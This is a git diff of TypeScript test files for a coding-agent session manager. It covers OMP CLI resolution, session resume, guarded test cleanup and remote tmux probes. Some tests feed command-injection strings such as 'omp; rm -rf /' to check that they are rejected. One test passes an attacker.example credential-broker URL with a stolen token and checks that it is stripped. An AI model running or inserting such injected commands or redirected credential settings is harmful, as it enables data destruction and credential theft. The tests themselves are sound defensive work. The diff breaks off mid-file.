--git a/test/mocks/mock-route-context.ts b/test/mocks/mock-route-context.ts index 7dd4222e..8a1bd884 100644 --- a/test/mocks/mock-route-context.ts +++ b/test/mocks/mock-route-context.ts @@ -86,6 +86,7 @@ export function createMockRouteContext(options?: { getSession: vi.fn(), setSession: vi.fn(), removeSession: vi.fn(), + demoteOrRemoveSession: vi.fn(() => 'removed' as const), getSettings: vi.fn(() => ({})), setSettings: vi.fn(), getRalphLoopState: vi.fn(() => ({})), diff --git a/test/mocks/test-helpers.ts b/test/mocks/test-helpers.ts index cc64a787..edf13015 100644 --- a/test/mocks/test-helpers.ts +++ b/test/mocks/test-helpers.ts @@ -2,6 +2,9 @@ * Reusable async test helpers. */ +import { rmSync } from 'node:fs'; +import { resolve } from 'node:path'; + /** Wait for an EventEmitter to emit a specific event, with timeout */ export function waitForEvent( emitter: { once: (event: string, listener: (...args: unknown[]) => void) => void }, @@ -34,3 +37,39 @@ export function createDeferred(): { }); return { promise, resolve, reject }; } + +/** + * Delete a directory tree, but ONLY when it lives inside the test HOME. + * + * SAFETY (2026-08-29): `test/setup.ts` redirects `process.env.HOME` to a + * throwaway dir and `os.homedir()` follows it, so a `rmSync(CASES_DIR, + * recursive)` normally lands inside the fixture. This gate is defense in depth + * for the day that stops being true (a test that runs outside setup.ts, an + * env override that anchors a path elsewhere): it refuses to delete anything + * not under the redirected `process.env.HOME`, so the failure mode is a + * leftover temp dir rather than a deleted PRODUCTION `~/codeman-cases`. + * Lexical `resolve()` is used because the leaf often does not exist and + * `realpathSync` would throw. + */ +export function safeRmHomeTree(path: string): void { + const home = process.env.HOME; + if (!home) return; + const target = resolve(path); + const root = resolve(home); + if (target === root || target.startsWith(root + '/')) { + rmSync(target, { recursive: true, force: true }); + } +} + +/** + * True when `path` resolves strictly inside `process.env.HOME` (or to it). + * Same rationale as `safeRmHomeTree`; use for guarded non-recursive deletes + * (single files like `linked-cases.json`) so they can never touch prod state. + */ +export function isUnderTestHome(path: string): boolean { + const home = process.env.HOME; + if (!home) return false; + const target = resolve(path); + const root = resolve(home); + return target === root || target.startsWith(root + '/'); +} diff --git a/test/omp-cli-resolver.test.ts b/test/omp-cli-resolver.test.ts new file mode 100644 index 00000000..86576805 --- /dev/null +++ b/test/omp-cli-resolver.test.ts @@ -0,0 +1,132 @@ +/** + * @fileoverview Tests for the OMP CLI resolver wrapper. + * + * OMP is a resolver with a version probe: `omp` is a short binary name, so a + * resolved path is only accepted once `omp --version` prints an `omp/` + * string (e.g. `omp/17.4.0`). The probe EXECUTES the candidate, which is + * exactly why it must never run under vitest — the hermeticity test below pins + * that gate with a real executable fixture that would make the test fail + * loudly if the gate were deleted again. + */ +import { chmodSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { createOmpResolverForTest } from '../src/utils/omp-cli-resolver.js'; +import { + cliResolveRetryDelayMs, + createProductionCliResolverHost, + type CliResolverHost, +} from '../src/utils/cli-executable-resolver.js'; + +const temporaryDirectories: string[] = []; + +afterEach(() => { + for (const directory of temporaryDirectories.splice(0)) { + rmSync(directory, { recursive: true, force: true }); + } +}); + +function createHost( + options: { + processPathResult?: string | null; + loginShellResults?: Array; + existingPaths?: string[]; + } = {} +): CliResolverHost { + const loginShellResults = [...(options.loginShellResults ?? [])]; + const existingPaths = new Set(options.existingPaths ?? []); + return { + processPath: '/service/bin', + shellPath: '/bin/zsh', + shellArgs: ['-l'], + findOnProcessPath: () => options.processPathResult ?? null, + findInLoginShell: () => loginShellResults.shift() ?? null, + exists: (path) => existingPaths.has(path), + }; +} + +describe('OMP CLI resolver', () => { + it('accepts a candidate the version probe verifies and carries the version as metadata', () => { + const binaryPath = '/service/bin/omp'; + const probe = vi.fn(() => '17.4.0'); + const resolver = createOmpResolverForTest( + createHost({ processPathResult: binaryPath, existingPaths: [binaryPath] }), + probe + ); + + expect(resolver.resolve()).toMatchObject({ + binaryPath, + directory: '/service/bin', + source: 'process-path', + metadata: '17.4.0', + }); + expect(probe).toHaveBeenCalledWith(binaryPath); + }); + + it('rejects a candidate the probe refuses and falls through to a later one', () => { + // An unrelated `omp` on the service PATH (probe returns null) must not mask + // the real coding agent found by the login shell. + const impostor = '/service/bin/omp'; + const genuine = '/login-shell/bin/omp'; + const probe = vi.fn((binPath: string) => (binPath === genuine ? '17.4.0' : null)); + const resolver = createOmpResolverForTest( + createHost({ + processPathResult: impostor, + loginShellResults: [genuine], + existingPaths: [impostor, genuine], + }), + probe + ); + + expect(resolver.resolve()).toMatchObject({ binaryPath: genuine, source: 'login-shell', metadata: '17.4.0' }); + }); + + it('negative-caches a miss and retries only after the backoff elapses', () => { + const binaryPath = '/late/bin/omp'; + let now = 0; + const probe = vi.fn(() => '17.4.0'); + const resolver = createOmpResolverForTest( + createHost({ loginShellResults: [null, binaryPath], existingPaths: [binaryPath] }), + probe, + () => now + ); + + expect(resolver.resolve()).toBeNull(); + expect(resolver.resolve()).toBeNull(); // within the backoff: no re-run + expect(probe).not.toHaveBeenCalled(); + now = cliResolveRetryDelayMs(1); + expect(resolver.resolve()?.metadata).toBe('17.4.0'); + expect(resolver.resolve()?.binaryPath).toBe(binaryPath); + }); + + it('never executes an omp candidate under vitest (the ambient probe is VITEST-gated)', () => { + // A REAL executable fixture that prints a valid version. If the guard in + // probeOmpVersion is ever removed again, the probe runs this script, the + // resolution SUCCEEDS, and this test fails — pinning hermeticity by + // behavior rather than by source text. (The suites must never execute + // whatever `omp` binary the machine running them happens to carry.) + const root = mkdtempSync(join(tmpdir(), 'codeman-omp-vitest-gate-')); + temporaryDirectories.push(root); + const binaryPath = join(root, 'omp'); + writeFileSync(binaryPath, '#!/bin/sh\necho omp/0.99.0\n'); + chmodSync(binaryPath, 0o755); + const hostOptions = { + processPath: root, + shellPath: '/bin/bash', + shellArgs: ['-i', '-l'] as string[], + runCommand: () => '', + isExecutableFile: (path: string) => path === binaryPath, + }; + + // Default (ambient) probe: the candidate is found but never executed, so + // the VITEST gate reports it unusable and resolution misses. + const gated = createOmpResolverForTest(createProductionCliResolverHost(hostOptions)); + expect(gated.resolve()).toBeNull(); + + // Control: identical setup with an injected probe resolves, proving the + // null above comes from the gate, not from the fixture or the host. + const control = createOmpResolverForTest(createProductionCliResolverHost(hostOptions), () => '0.99.0'); + expect(control.resolve()).toMatchObject({ binaryPath, metadata: '0.99.0' }); + }); +}); diff --git a/test/omp-fresh-run-no-resume.test.ts b/test/omp-fresh-run-no-resume.test.ts new file mode 100644 index 00000000..49c9f48e --- /dev/null +++ b/test/omp-fresh-run-no-resume.test.ts @@ -0,0 +1,129 @@ +/** + * @fileoverview Pins the "Run OMP always resumes" bug found live 2026-08-27, + * and its follow-on fix for the sibling-aliasing bug found in upstream PR + * review (Ark0N/Codeman#353). + * + * Session._pinOmpRespawnId() resolves-and-pins the newest on-disk omp + * conversation as a side effect on `this._ompConfig`. That is correct ONLY + * immediately before an ACTUAL respawn (a confirmed-dead pane, or a genuine + * remote reattach) — never while merely building options that might not + * lead to one. It used to run eagerly inside `_buildRespawnPaneOptions()`, + * which startInteractive() calls unconditionally (including for a genuinely + * brand-new session, and for a boot-recovery reattach to a pane that turns + * out to still be alive): a fresh "Run OMP" click in a working directory + * with any prior omp history silently launched `--resume ` instead + * of a clean `omp` invocation, and — with two omp tabs in the same case dir + * — a live pane's `_ompConfig`/`claudeSessionId` could get mis-pinned to + * whichever sibling's file happened to be newest on disk, even though + * nothing was actually being respawned. Resolution now happens only inside + * `_pinOmpRespawnId()`, called by a caller that has already confirmed a + * real respawn is happening. + */ +import { mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { homedir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { Session } from '../src/session.js'; +import { TmuxManager } from '../src/tmux-manager.js'; +import type { MuxSession } from '../src/types.js'; + +describe('OMP: fresh session vs. reattach must not share resumeSessionId resolution', () => { + const workingDir = join(homedir(), 'codeman-cases', 'resume-test'); + const sessionDir = join(homedir(), '.omp', 'agent', 'sessions', '-codeman-cases-resume-test'); + const sessions: Session[] = []; + + afterEach(() => { + for (const s of sessions.splice(0)) s.stop(); + rmSync(join(homedir(), '.omp'), { recursive: true, force: true }); + }); + + function seedOmpSessionFile(id: string) { + mkdirSync(workingDir, { recursive: true }); + mkdirSync(sessionDir, { recursive: true }); + // resolveAndClaimOmpSessionId() verifies the file's own header (not just + // the filename), mirroring the real `omp` session-file shape — the + // header's `cwd` must match `workingDir` for the candidate to count. + const header = `${JSON.stringify({ type: 'session', id, cwd: workingDir })}\n`; + writeFileSync(join(sessionDir, `2026-08-27T17-31-08-001Z_${id}.jsonl`), header); + } + + it('a brand-new session (no prior mux session) never inherits an on-disk conversation', async () => { + seedOmpSessionFile('old-conversation-id'); + + const session = new Session({ + workingDir, + mode: 'omp', + mux: new TmuxManager(), + useMux: true, + }); + sessions.push(session); + + await session.startInteractive(); + const state = session.toState(); + + expect(state.ompConfig).toBeUndefined(); + expect(session.claudeSessionId).toBe(session.id); + }); + + it('a plain reattach to an existing mux session (pane still alive) does NOT pin', async () => { + // Regression for the sibling-aliasing bug: pinning must never be a side + // effect of merely building respawn options for a pane that might still + // be alive (isPaneDead is unconditionally false under IS_TEST_MODE, + // which is what a real "just reattaching, nothing died" boot recovery + // looks like from Session's perspective). + seedOmpSessionFile('sibling-conversation-id'); + + const muxSession: MuxSession = { + sessionId: 'placeholder', + muxName: 'codeman-deadbeef', + pid: 1, + createdAt: Date.now(), + workingDir, + mode: 'omp', + attached: false, + }; + + const session = new Session({ + workingDir, + mode: 'omp', + mux: new TmuxManager(), + useMux: true, + muxSession, + }); + sessions.push(session); + + await session.startInteractive(); + const state = session.toState(); + + expect(state.ompConfig?.resumeSessionId).toBeUndefined(); + expect(session.claudeSessionId).toBe(session.id); + }); + + it('_pinOmpRespawnId() resolves and pins the real id once a respawn is confirmed', () => { + seedOmpSessionFile('real-omp-uuid'); + + const muxSession: MuxSession = { + sessionId: 'placeholder', + muxName: 'codeman-deadbeef', + pid: 1, + createdAt: Date.now(), + workingDir, + mode: 'omp', + attached: false, + }; + + const session = new Session({ + workingDir, + mode: 'omp', + mux: new TmuxManager(), + useMux: true, + muxSession, + }); + sessions.push(session); + + (session as unknown as { _pinOmpRespawnId(): void })._pinOmpRespawnId(); + + expect(session.toState().ompConfig?.resumeSessionId).toBe('real-omp-uuid'); + expect(session.claudeSessionId).toBe('real-omp-uuid'); + }); +}); diff --git a/test/omp-mode.test.ts b/test/omp-mode.test.ts new file mode 100644 index 00000000..dd7aa5a3 --- /dev/null +++ b/test/omp-mode.test.ts @@ -0,0 +1,165 @@ +import { describe, expect, it, beforeEach, afterEach } from 'vitest'; +import { CreateSessionSchema, QuickStartSchema } from '../src/web/schemas.js'; +import { buildSpawnCommand } from '../src/tmux-manager.js'; +import { defaultDockerCommandForMode } from '../src/docker-hosts.js'; +import { defaultRemoteCommandForMode } from '../src/remote-hosts.js'; +import { isExternalCliMode, isAltScreenStripMode } from '../src/session.js'; +import { _clampEnvOverridesForOwner } from '../src/web/routes/session-routes.js'; + +describe('OMP mode schemas', () => { + it('accepts OMP session creation config', () => { + const parsed = CreateSessionSchema.parse({ + workingDir: '/tmp', + mode: 'omp', + ompConfig: { + model: 'crof/glm-5.2', + }, + }); + + expect(parsed.mode).toBe('omp'); + expect(parsed.ompConfig).toEqual({ + model: 'crof/glm-5.2', + }); + }); + + it('accepts OMP quick-start config', () => { + const parsed = QuickStartSchema.parse({ + caseName: 'omp-case', + mode: 'omp', + ompConfig: { + resumeSessionId: 'session-1234abcd', + }, + }); + + expect(parsed.mode).toBe('omp'); + expect(parsed.ompConfig?.resumeSessionId).toBe('session-1234abcd'); + }); + + it('rejects unsafe OMP model strings', () => { + expect(() => + CreateSessionSchema.parse({ + workingDir: '/tmp', + mode: 'omp', + ompConfig: { model: 'omp; rm -rf /' }, + }) + ).toThrow(); + }); + + it('allows OMP_* env overrides and still rejects unknown prefixes', () => { + const parsed = CreateSessionSchema.parse({ + workingDir: '/tmp', + mode: 'omp', + envOverrides: { OMP_PROFILE: 'work' }, + }); + expect(parsed.envOverrides).toEqual({ OMP_PROFILE: 'work' }); + + expect(() => + CreateSessionSchema.parse({ + workingDir: '/tmp', + envOverrides: { RANDOM_PREFIX_KEY: 'x' }, + }) + ).toThrow(); + }); +}); + +describe('OMP spawn command', () => { + it('builds a bare omp command when no config is sent', () => { + const cmd = buildSpawnCommand({ mode: 'omp', sessionId: 'abc12345' }); + expect(cmd).toBe('omp'); + }); + + it('passes --model and --resume, and drops unsafe ids', () => { + expect( + buildSpawnCommand({ + mode: 'omp', + sessionId: 'abc12345', + ompConfig: { model: 'crof/glm-5.2', resumeSessionId: 'session-99' }, + }) + ).toBe('omp --model crof/glm-5.2 --resume session-99'); + + expect( + buildSpawnCommand({ + mode: 'omp', + sessionId: 'abc12345', + ompConfig: { resumeSessionId: 'x; rm -rf /' }, + }) + ).toBe('omp'); + }); + + it('continues the most recent session when no explicit resume id is given', () => { + expect( + buildSpawnCommand({ + mode: 'omp', + sessionId: 'abc12345', + ompConfig: { continueSession: true }, + }) + ).toBe('omp --continue'); + }); + + it('prefers an explicit --resume id over --continue', () => { + expect( + buildSpawnCommand({ + mode: 'omp', + sessionId: 'abc12345', + ompConfig: { resumeSessionId: 'session-99', continueSession: true }, + }) + ).toBe('omp --resume session-99'); + }); + + it('drops unsafe model strings from the spawn command', () => { + expect( + buildSpawnCommand({ + mode: 'omp', + sessionId: 'abc12345', + ompConfig: { model: 'a`b' }, + }) + ).toBe('omp'); + }); +}); + +describe('OMP mode gates', () => { + it('is an external CLI mode (readiness/ralph/respawn gating)', () => { + expect(isExternalCliMode('omp')).toBe(true); + }); + + it('is NOT an alt-screen strip mode (unverified TUI, like opencode/antigravity)', () => { + expect(isAltScreenStripMode('omp')).toBe(false); + }); + + it('has docker/remote default commands', () => { + expect(defaultDockerCommandForMode('omp')).toBe('exec omp'); + // Routed through an interactive login shell so per-user PATH entries resolve — + // same fix as the other remote agent CLIs (see defaultRemoteCommandForMode). + expect(defaultRemoteCommandForMode('omp')).toBe('exec "${SHELL:-/bin/sh}" -i -l -c \'omp\''); + }); +}); + +describe('OMP multi-user clamp: the env-var half', () => { + // Unlike DeepSeek, omp has no permission FLAG or CONFIG for the clamp to + // gate (buildOmpCommand() only ever emits --model/--resume/--continue), so + // the only privilege surface is the two credential-resolution env vars the + // OMP_* prefix admits. + const ORIGINAL = process.env.CODEMAN_MULTIUSER; + beforeEach(() => { + process.env.CODEMAN_MULTIUSER = '1'; + }); + afterEach(() => { + if (ORIGINAL === undefined) delete process.env.CODEMAN_MULTIUSER; + else process.env.CODEMAN_MULTIUSER = ORIGINAL; + }); + + it('strips OMP_AUTH_BROKER_URL and OMP_AUTH_BROKER_TOKEN, leaving unrelated overrides alone', async () => { + const out = await _clampEnvOverridesForOwner('nobody', { + OMP_AUTH_BROKER_URL: 'https://attacker.example/broker', + OMP_AUTH_BROKER_TOKEN: 'stolen-token', + OMP_PROFILE: 'default', + }); + expect(out).toEqual({ OMP_PROFILE: 'default' }); + }); + + it('is a no-op in single-user mode', async () => { + delete process.env.CODEMAN_MULTIUSER; + const input = { OMP_AUTH_BROKER_URL: 'https://attacker.example/broker' }; + expect(await _clampEnvOverridesForOwner(undefined, input)).toBe(input); + }); +}); diff --git a/test/omp-session-resolver.test.ts b/test/omp-session-resolver.test.ts new file mode 100644 index 00000000..ed6d2f60 --- /dev/null +++ b/test/omp-session-resolver.test.ts @@ -0,0 +1,128 @@ +/** + * @fileoverview Tests for OMP session-id resolution from disk. + * + * Pins the home-relative directory mangling bug found 2026-08-27: omp + * collapses a home-relative workingDir to its home-relative remainder BEFORE + * dash-replacing (`/home/user/dev/foo` -> `-dev-foo`), unlike Claude Code's + * `~/.claude/projects/*` convention (`-home-user-dev-foo`) this module was + * originally written to mirror. Getting this wrong doesn't throw — it just + * makes findLatestOmpSessionId() silently return null for every case under + * $HOME (virtually all real Codeman cases), so continuation pinning quietly + * degraded to omp's own ambiguous `--continue` while appearing to work in + * manual testing done entirely under /tmp (which sits outside $HOME and was + * mangled correctly by coincidence). + * + * test/setup.ts gives this file its own temp $HOME, so homedir() below is + * already sandboxed — writing real files under it is safe and exercises the + * exact home-relative path the bug hid behind. + */ +import { mkdirSync, rmSync, utimesSync, writeFileSync } from 'node:fs'; +import { homedir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { findLatestOmpSessionId, mangleOmpWorkingDir } from '../src/utils/omp-session-resolver.js'; +import { resolveOmpConfigForCreate } from '../src/web/routes/session-routes.js'; + +describe('mangleOmpWorkingDir', () => { + it('strips the home prefix before dash-replacing a home-relative path', () => { + const home = homedir(); + expect(mangleOmpWorkingDir(join(home, 'codeman-cases', 'testcase'))).toBe('-codeman-cases-testcase'); + }); + + it('dash-replaces a path outside $HOME as-is', () => { + expect(mangleOmpWorkingDir('/tmp/omp-verify-case')).toBe('-tmp-omp-verify-case'); + }); + + it('treats workingDir === home as the empty remainder', () => { + expect(mangleOmpWorkingDir(homedir())).toBe(''); + }); + + it('does not false-positive on a sibling directory sharing a prefix with $HOME', () => { + const sibling = `${homedir()}-other/dev/foo`; + expect(mangleOmpWorkingDir(sibling)).toBe(sibling.replace(/\//g, '-')); + }); +}); + +describe('findLatestOmpSessionId', () => { + const sessionDir = join(homedir(), '.omp', 'agent', 'sessions', '-codeman-cases-testcase'); + + afterEach(() => { + rmSync(join(homedir(), '.omp'), { recursive: true, force: true }); + }); + + it('finds the newest session file under a home-relative workingDir', () => { + const workingDir = join(homedir(), 'codeman-cases', 'testcase'); + mkdirSync(sessionDir, { recursive: true }); + writeFileSync(join(sessionDir, '2026-08-27T17-15-57-989Z_older-id.jsonl'), '{}'); + const newer = join(sessionDir, '2026-08-27T17-31-08-001Z_newer-id.jsonl'); + writeFileSync(newer, '{}'); + // Force a deterministic mtime order regardless of filesystem timestamp resolution. + const now = Date.now() / 1000; + utimesSync(join(sessionDir, '2026-08-27T17-15-57-989Z_older-id.jsonl'), now, now); + utimesSync(newer, now + 1, now + 1); + + expect(findLatestOmpSessionId(workingDir)).toBe('newer-id'); + }); + + it('returns null when the mangled directory does not exist', () => { + expect(findLatestOmpSessionId(join(homedir(), 'never-launched'))).toBeNull(); + }); +}); + +describe('resolveOmpConfigForCreate', () => { + // The exact pipeline "resume this OMP row from the history list" drives: + // POST /api/sessions with mode:'omp' + ompConfig:{continueSession:true} + // must come back with resumeSessionId PINNED to the real omp transcript + // uuid, not left as the ambiguous continueSession flag alone. This was the + // one path flagged by review as having zero coverage despite being the + // exact mechanism the whole resolver module exists to serve. + const workingDir = join(homedir(), 'codeman-cases', 'resume-test'); + const sessionDir = join(homedir(), '.omp', 'agent', 'sessions', '-codeman-cases-resume-test'); + + afterEach(() => { + rmSync(join(homedir(), '.omp'), { recursive: true, force: true }); + }); + + it('pins resumeSessionId from disk when resuming with only continueSession set', () => { + mkdirSync(sessionDir, { recursive: true }); + writeFileSync(join(sessionDir, '2026-08-27T17-31-08-001Z_real-omp-uuid.jsonl'), '{}'); + + const resolved = resolveOmpConfigForCreate('omp', workingDir, { continueSession: true }); + + expect(resolved).toEqual({ continueSession: true, resumeSessionId: 'real-omp-uuid' }); + }); + + it('does not attempt resolution when resumeSessionId is already explicit', () => { + mkdirSync(sessionDir, { recursive: true }); + writeFileSync(join(sessionDir, '2026-08-27T17-31-08-001Z_disk-uuid.jsonl'), '{}'); + + const resolved = resolveOmpConfigForCreate('omp', workingDir, { + continueSession: true, + resumeSessionId: 'already-pinned', + }); + + // Must return the caller's id unchanged, never overwrite it with whatever + // happens to be newest on disk. + expect(resolved).toEqual({ continueSession: true, resumeSessionId: 'already-pinned' }); + }); + + it('leaves ompConfig unchanged when continueSession is not set', () => { + const resolved = resolveOmpConfigForCreate('omp', workingDir, {}); + expect(resolved).toEqual({}); + }); + + it('leaves ompConfig unchanged when nothing is on disk to resolve', () => { + const resolved = resolveOmpConfigForCreate('omp', join(homedir(), 'never-launched'), { + continueSession: true, + }); + expect(resolved).toEqual({ continueSession: true }); + }); + + it('returns undefined for a non-omp mode regardless of ompConfig', () => { + expect(resolveOmpConfigForCreate('claude', workingDir, { continueSession: true })).toBeUndefined(); + }); + + it('returns undefined when ompConfig is undefined', () => { + expect(resolveOmpConfigForCreate('omp', workingDir, undefined)).toBeUndefined(); + }); +}); diff --git a/test/operation-lightspeed.test.ts b/test/operation-lightspeed.test.ts index 34056cb4..2f59cdb1 100644 --- a/test/operation-lightspeed.test.ts +++ b/test/operation-lightspeed.test.ts @@ -12,7 +12,9 @@ */ import { describe, it, expect, beforeAll, afterAll, beforeEach } from 'vitest'; import { WebServer } from '../src/web/server.js'; - +import { safeRmHomeTree } from './mocks/index.js'; +import { homedir } from 'node:os'; +import { join } from 'node:path'; const TEST_PORT = 3215; // Helper to parse SSE events from raw text @@ -1043,15 +1045,8 @@ describe('Operation Lightspeed', () => { const caseEvent = events.find((e) => e.event === 'case:created'); expect(caseEvent).toBeDefined(); - // Cleanup - const { rmSync } = await import('node:fs'); - const { join } = await import('node:path'); - const { homedir } = await import('node:os'); - try { - rmSync(join(homedir(), 'codeman-cases', caseName), { recursive: true }); - } catch { - /* may not exist */ - } + // Cleanup (containment-gated: never touch prod ~/codeman-cases) + safeRmHomeTree(join(homedir(), 'codeman-cases', caseName)); }); it('should deliver session:created to every client, even those with a mismatched filter', async () => { diff --git a/test/plan-usage-chip.test.ts b/test/plan-usage-chip.test.ts index 09b379b5..6cd6a46e 100644 --- a/test/plan-usage-chip.test.ts +++ b/test/plan-usage-chip.test.ts @@ -79,4 +79,64 @@ describe('header plan usage chip', () => { expect(codexRow).not.toContain('5h'); expect(codexRow).toContain('7d'); }); + + it("keeps Claude's 5h slot as a dash when no session window is open", () => { + // Claude Code ships `five_hour` "only while the API reports it and its + // resets_at has not passed", so between session windows the key is simply + // absent. The chip used to shrink to a lone 7d segment, which reads as a + // broken feature rather than an idle window (reported 2026-09-01). + const { CodemanApp, chip } = loadCodemanAppClass(); + const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp; + + app.updatePlanUsageChip({ sevenDay: { usedPercentage: 52, resetAt: 2000 } }); + + expect(chip.innerHTML).toContain('pu-win-idle'); + expect(chip.innerHTML).toContain('5h'); + expect(chip.innerHTML).toContain('52%'); + expect(chip.title).toContain('no active session window'); + }); + + it('renders no row at all for a provider reporting nothing', () => { + // The placeholder must never stand alone: a row of em dashes would claim a + // provider is idle when it is really absent. + const { CodemanApp, chip } = loadCodemanAppClass(); + const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp; + + app.updatePlanUsageChip({ codex: { sevenDay: { usedPercentage: 40, resetAt: 3000 } } }); + + expect(chip.innerHTML).not.toContain('pu-win-idle'); + expect(chip.innerHTML).toContain('40%'); + }); + + it('drops the provider label when Claude is the only provider with limits', () => { + const { CodemanApp, chip } = loadCodemanAppClass(); + const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp; + + app.updatePlanUsageChip({ + fiveHour: { usedPercentage: 60, resetAt: 1000 }, + sevenDay: { usedPercentage: 23, resetAt: 2000 }, + }); + + expect(chip.innerHTML).toContain('class="pu-row"'); + expect(chip.innerHTML).not.toContain('pu-provider'); + expect(chip.innerHTML).not.toContain('Claude'); + expect(chip.innerHTML).toContain('60%'); + expect(chip.innerHTML).toContain('23%'); + // The tooltip still names the provider — it has room, and the chip no longer does. + expect(chip.title).toContain('Claude plan usage'); + }); + + it('drops the provider label when Codex is the only provider with limits', () => { + const { CodemanApp, chip } = loadCodemanAppClass(); + const app = Object.create((CodemanApp as { prototype: object }).prototype) as UsageApp; + + app.updatePlanUsageChip({ + codex: { fiveHour: { usedPercentage: 12, resetAt: 3000 } }, + }); + + expect(chip.innerHTML).toContain('class="pu-row"'); + expect(chip.innerHTML).not.toContain('pu-provider'); + expect(chip.innerHTML).toContain('12%'); + expect(chip.title).toContain('Codex plan usage'); + }); }); diff --git a/test/ralph-integration.test.ts b/test/ralph-integration.test.ts index 46316339..597c03e0 100644 --- a/test/ralph-integration.test.ts +++ b/test/ralph-integration.test.ts @@ -13,9 +13,9 @@ import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest'; import { WebServer } from '../src/web/server.js'; -import { existsSync, rmSync } from 'node:fs'; import { join } from 'node:path'; import { homedir } from 'node:os'; +import { safeRmHomeTree } from './mocks/index.js'; const TEST_PORT = 3125; const CASES_DIR = join(homedir(), 'codeman-cases'); @@ -33,13 +33,10 @@ describe('Ralph Integration Tests', () => { }); afterEach(() => { - // Clean up cases created during this test + // Clean up cases created during this test (containment-gated: never + // delete a case dir outside the temp HOME). while (createdCases.length > 0) { - const caseName = createdCases.pop()!; - const casePath = join(CASES_DIR, caseName); - if (existsSync(casePath)) { - rmSync(casePath, { recursive: true, force: true }); - } + safeRmHomeTree(join(CASES_DIR, createdCases.pop()!)); } }); diff --git a/test/remote-auto-reconnect.test.ts b/test/remote-auto-reconnect.test.ts index 6be1dc0b..00b2c0fc 100644 --- a/test/remote-auto-reconnect.test.ts +++ b/test/remote-auto-reconnect.test.ts @@ -26,6 +26,7 @@ import { decideReconnect, } from '../src/remote-reconnect.js'; import type { ReconnectSessionView } from '../src/remote-reconnect.js'; +import { buildRemoteSessionAliveCommand, classifyRemoteAliveExit } from '../src/remote-hosts.js'; import { TmuxManager } from '../src/tmux-manager.js'; import type { SessionRemote } from '../src/types.js'; @@ -106,7 +107,7 @@ describe('reconnect backoff schedule (pure)', () => { // ──────────────────────────────────────────────────────────────────────────── describe('decideReconnect (pure eligibility)', () => { - const deadRemote: ReconnectSessionView = { sessionId: 's1', isRemote: true, paneDead: true }; + const deadRemote: ReconnectSessionView = { sessionId: 's1', isRemote: true, paneDead: true, remoteAlive: true }; it('emits for a dead remote pane that is not guarded and is due', () => { const action = decideReconnect({ @@ -132,7 +133,7 @@ describe('decideReconnect (pure eligibility)', () => { it('skips non-remote sessions', () => { const action = decideReconnect({ - session: { sessionId: 's1', isRemote: false, paneDead: true }, + session: { sessionId: 's1', isRemote: false, paneDead: true, remoteAlive: true }, state: freshReconnectState(), guarded: false, enabled: true, @@ -143,7 +144,7 @@ describe('decideReconnect (pure eligibility)', () => { it('skips when the pane is alive', () => { const action = decideReconnect({ - session: { sessionId: 's1', isRemote: true, paneDead: false }, + session: { sessionId: 's1', isRemote: true, paneDead: false, remoteAlive: true }, state: freshReconnectState(), guarded: false, enabled: true, @@ -152,6 +153,28 @@ describe('decideReconnect (pure eligibility)', () => { expect(action).toEqual({ kind: 'skip', reason: 'pane-alive' }); }); + it('NEVER revives when the durable remote tmux is GONE (clean exit — the 2026-08-29 fix)', () => { + const action = decideReconnect({ + session: { sessionId: 's1', isRemote: true, paneDead: true, remoteAlive: false }, + state: freshReconnectState(), + guarded: false, + enabled: true, + now: 0, + }); + expect(action).toEqual({ kind: 'skip', reason: 'remote-gone' }); + }); + + it('NEVER revives when remote liveness is unknown (probe failed — fail closed)', () => { + const action = decideReconnect({ + session: { sessionId: 's1', isRemote: true, paneDead: true, remoteAlive: undefined }, + state: freshReconnectState(), + guarded: false, + enabled: true, + now: 0, + }); + expect(action).toEqual({ kind: 'skip', reason: 'remote-gone' }); + }); + it('skips when the kill-switch is off', () => { const action = decideReconnect({ session: deadRemote, @@ -198,6 +221,34 @@ describe('decideReconnect (pure eligibility)', () => { // (c) MANAGER integration — drive ticks with a stubbed pane-death + clock // ──────────────────────────────────────────────────────────────────────────── +describe('remote has-session probe (pure)', () => { + it('builds the probe through the shared ssh connection args, has-session by name', () => { + const cmd = buildRemoteSessionAliveCommand({ username: 'dev', host: 'box', port: 2222 }, 'codeman-ssh-abc'); + // Literal pin: the session name is shellescaped inside the remote command, + // which is itself one shellescaped ssh argument. + expect(cmd).toBe( + "ssh -o BatchMode=yes -o ConnectTimeout=10 -p 2222 dev@box 'tmux -L codeman-remote has-session -t '\\''codeman-ssh-abc'\\'' 2>/dev/null'" + ); + }); + + // `tmux has-session` prints NOTHING on success (exit 0), so the exit status is + // the only signal; reading stdout classified every live session as gone. + it('exit 0 = alive', () => { + expect(classifyRemoteAliveExit(0, false)).toBe(true); + }); + + it("tmux's 1 (missing session) and 127 (no tmux on the remote) = gone", () => { + expect(classifyRemoteAliveExit(1, false)).toBe(false); + expect(classifyRemoteAliveExit(127, false)).toBe(false); + }); + + it("ssh's 255, a timeout, and a spawn failure = unknown (never revive)", () => { + expect(classifyRemoteAliveExit(255, false)).toBeUndefined(); + expect(classifyRemoteAliveExit(null, true)).toBeUndefined(); + expect(classifyRemoteAliveExit(null, false)).toBeUndefined(); + }); +}); + describe('TmuxManager remote reconnect watcher (integration)', () => { let manager: TmuxManager; @@ -222,6 +273,11 @@ describe('TmuxManager remote reconnect watcher (integration)', () => { registerRemote('aaaa1111'); // Force the watcher to see a dead pane regardless of test-mode isPaneDead. vi.spyOn(manager, 'isPaneDead').mockReturnValue(true); + // The durable remote tmux is still alive (transport drop) → reconnect allowed. + (manager as unknown as { remoteAliveCache: Map }).remoteAliveCache.set( + 'aaaa1111', + true + ); const dropped: Array<{ sessionId: string; attempt: number }> = []; const exhausted: Array<{ sessionId: string }> = []; @@ -263,6 +319,10 @@ describe('TmuxManager remote reconnect watcher (integration)', () => { it('resets backoff on a successful reattach (noteRemoteReconnect)', () => { registerRemote('cccc3333'); vi.spyOn(manager, 'isPaneDead').mockReturnValue(true); + (manager as unknown as { remoteAliveCache: Map }).remoteAliveCache.set( + 'cccc3333', + true + ); const dropped: Array<{ attempt: number 